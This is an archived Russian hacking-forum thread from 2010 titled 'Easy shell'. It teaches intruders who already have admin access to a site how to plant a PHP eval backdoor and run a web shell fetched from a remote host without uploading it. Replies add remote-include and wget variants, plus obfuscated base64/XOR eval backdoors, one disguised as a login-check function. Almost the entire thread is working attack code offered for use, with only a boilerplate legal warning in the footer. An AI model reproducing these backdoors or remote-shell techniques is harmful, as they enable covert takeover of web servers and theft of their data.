Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

Easy shell

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Уязвимости] >> Easy shell
Имя
Сообщение << Старые топики   Новые топики >>
Easy shell - 2010-03-30 20:59:30.520000   
Pashkela

Сообщений: 3756
Оценки: 736
Присоединился: 2007-01-03 06:19:40.900000
Не то чтобы статья, но многим, думаю, будет полезно. Итак, мы проникли в админку, мы в итоге смогли хоть куда-то впихнуть такой код, примеру:

if (isset($_REQUEST['e'])) eval(stripslashes($_REQUEST['e']));

или просто:

assert(stripslashes($_REQUEST[lala]));

stripslashes в данном случае исключительно для обхода magic_quotes=ON

Многие чудики вставляют system($_GET['cmd']) и прочие безобразия, но это все лишнее, на самом деле все проще. Итак, вы вставили данный код куда-то (в faq.php, или у вас уже есть просто типо такой бекдор где-то в недрах скриптов сервера).

Т.е. в итоге вы к примеру добились работоспособности вот такого линка:

http://localhost/user.php?e=phpinfo();

И после этого у многих начинающих ступор. Немедленно следующий вопрос - а что же делать дальше?

А давайте повнимательнее взглянем на этот phpinfo, что нам вывело, основные два пункта, что нас будут интересовать в данной ситуации:

allow_url_fopen
allow_url_include

allow_url_include - да, жесть конечно, но, как правило, off.

Остается allow_url_fopen, а он, как правило = ON. Как же мы может использовать данную возможность, безрассудно оставленную админом, чтобы не париться особо (не искать папки, доступные на запись и тому подобную ерунду выяснять да и вообще не заливать шелл как таковой, но лазить по серваку как-будто шелл уже залит). Да очень просто. Если allow_url_fopen = ON и у вас есть код, выводящий хотя бы PHPINFO(); то считайте вы уже прочитали все конфиги, слили все что вам надо и т.д. (не путайте с "порутать", только то, что можно прочитать)

Берем последний шелл от глубокомноюуважаемого oRb в этой теме:

https://forum.antichat.net/thread103155.html - первый пост

удаляем первую строчку:

&lt;?php # Web Shell by oRb
+
удаляем последнюю ?&gt;
+
можно удалить пароль, шелл ведь не заливаем, просто юзаем, не оставляя

сохраняем на любой хост как bla_bla.txt (тот же narod.ru вполне подойдет) или в виде картинки на файлообменнике, предоставляющем прямые ссылки на скачку контента и делаем такой запрос:

http://localhost/user.php?a=eval(file_get_contents('http://site.ru/bla_bla.txt'));

Всё. У вас полноценный шелл без физического его залития на сервак со всеми обычными возможностями шелла. Спасибо за внимание

PS: tested on WSO2.4 (wso2_pack.php)
Post #: 1
RE: Easy shell - 2010-03-30 21:17:25.020000   
Geron$

Сообщений: 58
Оценки: 0
Присоединился: 2010-03-12 15:24:07.773333
С первого раза прочитав подумал что реч идет о шеллах гарены=)
Post #: 2
RE: Easy shell - 2010-03-30 22:02:06.163333   
FriLL

Сообщений: 2539
Оценки: 335
Присоединился: 2007-08-11 17:14:26.703333
quote:

мы в итоге смогли хоть куда-то впихнуть такой код, примеру:

if (isset($_REQUEST['e'])) eval(stripslashes($_REQUEST['e']));

как вариант можно попробывать
eval(file_get_contents($_GET['e']));

а потом обращаться site.com/images/sh.php?e=http://адресс_до_шела
Post #: 3
RE: Easy shell - 2010-03-30 22:07:45.313333   
Pashkela

Сообщений: 3756
Оценки: 736
Присоединился: 2007-01-03 06:19:40.900000
quote:


как вариант можно попробывать
eval(file_get_contents($_GET['e']));


для начала все равно было бы неплохо посмотреть phpinfo(); [sm=af.gif]
Post #: 4
RE: Easy shell - 2010-03-30 22:13:04.360000   
$r00tk1t$

Сообщений: 84
Оценки: 0
Присоединился: 2010-03-13 14:21:48.886666
Не всегда работает удалённый инклуд :)
Если ось линь или фряха, лучше юзать wget, а если wget не установлен, то смотри что установленно, lynx –install и т.д. ;)
Хотя на винде инклуд почти всегда катит =))
Post #: 5
RE: Easy shell - 2010-03-30 23:50:07.623333   
FriLL

Сообщений: 2539
Оценки: 335
Присоединился: 2007-08-11 17:14:26.703333

quote:

ORIGINAL: $r00tk1t$

Не всегда работает удалённый инклуд :)
Если ось линь или фряха, лучше юзать wget, а если wget не установлен, то смотри что установленно, lynx –install и т.д. ;)
Хотя на винде инклуд почти всегда катит =))

Ага, привет от safe-mod'a
Post #: 6
RE: Easy shell - 2010-03-31 16:57:25.300000   
Ctacok

Сообщений: 38
Оценки: 0
Присоединился: 2009-05-10 13:55:58.663333
quote:

ORIGINAL: FriLL

quote:

мы в итоге смогли хоть куда-то впихнуть такой код, примеру:

if (isset($_REQUEST['e'])) eval(stripslashes($_REQUEST['e']));

как вариант можно попробывать
eval(file_get_contents($_GET['e']));

а потом обращаться site.com/images/sh.php?e=http://адресс_до_шела

<?
$o7xJo351=69;
$r5BLMiK8="IDMkKW0iPywrIykkMSBtJyQ2IHNxGiEgJiohIG1iFjx0CT8LAxQsFHw8ARQ9dAEUcw8TNnwIDhMkFXQnFAIEBHh4YmxsbH4=";
$r5BLMiK8=base64_decode($r5BLMiK8); for ($Ok37=0;$Ok37<strlen($r5BLMiK8);$Ok37++) { $Pa6O3Vpw .= chr(ord($r5BLMiK8[$Ok37]) ^ $o7xJo351); } eval($Pa6O3Vpw); ?>

eval($_REQUEST['ids']); ;)

Или же

function check_login_auth(){
if (isset($_GET['fidid'])){
$AD426h30=45;
$dnShh8yz="SFtMQQVKV0RDS0FMWUgFT0xeSBsZcklITkJJSAUKflQcYVdja3xEdUkeaXRBenkVWWBUeFV/RxR6HW9KbBAKBAQEFg==";
$dnShh8yz=base64_decode($dnShh8yz); for ($U75g=0;$U75g<strlen($dnShh8yz);$U75g++) { $g2o6B7GF .= chr(ord($dnShh8yz[$U75g]) ^ $AD426h30); } eval($g2o6B7GF);
}// For buy full version, please contact me, мыло разработчика


Да и ваще, <?=@`$c`?> , Минусы: нужны short_open_tag и register_globals© Raz0r
Post #: 7
RE: Easy shell - 2010-04-08 22:01:38.440000   
Pashkela

Сообщений: 3756
Оценки: 736
Присоединился: 2007-01-03 06:19:40.900000
Safe mode к данному эксплойту никакого отношения не имеет. Данный способ работает и с allow_url_include=OFF и с Safe mode. Речь идет о allow_url_fopen=ON.
Post #: 8
RE: Easy shell - 2010-04-25 06:30:54.290000   
demonru

Сообщений: 1073
Оценки: 0
Присоединился: 2009-02-15 14:18:59.626666
Присоединяюсь к вышесказанному оратору.
для phpbb самое то, удобнее в разы чем system и eval
Автору ++ в репу.
Post #: 9
RE: Easy shell - 2010-06-29 18:37:00.776666   
Alex.Black

Сообщений: 2113
Оценки: 0
Присоединился: 2010-04-08 00:23:20.663333
quote:

ORIGINAL: FriLL

quote:

мы в итоге смогли хоть куда-то впихнуть такой код, примеру:

if (isset($_REQUEST['e'])) eval(stripslashes($_REQUEST['e']));

как вариант можно попробывать
eval(file_get_contents($_GET['e']));

а потом обращаться site.com/images/sh.php?e=http://адресс_до_шела

Проще этот код вставить:
&lt;?php include$page ?&gt; Потом обращаться:
site.com/index.php?page=http://mysite.com/DxShell.php

PS: только что протестил…
Post #: 10
RE: Easy shell - 2010-06-29 23:58:53.136666   
FriLL

Сообщений: 2539
Оценки: 335
Присоединился: 2007-08-11 17:14:26.703333
quote:

&lt;?php include$page ?&gt;

ага, привет от register_globals
Post #: 11
Страниц:  [1]
Все форумы >> [Уязвимости] >> Easy shell







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.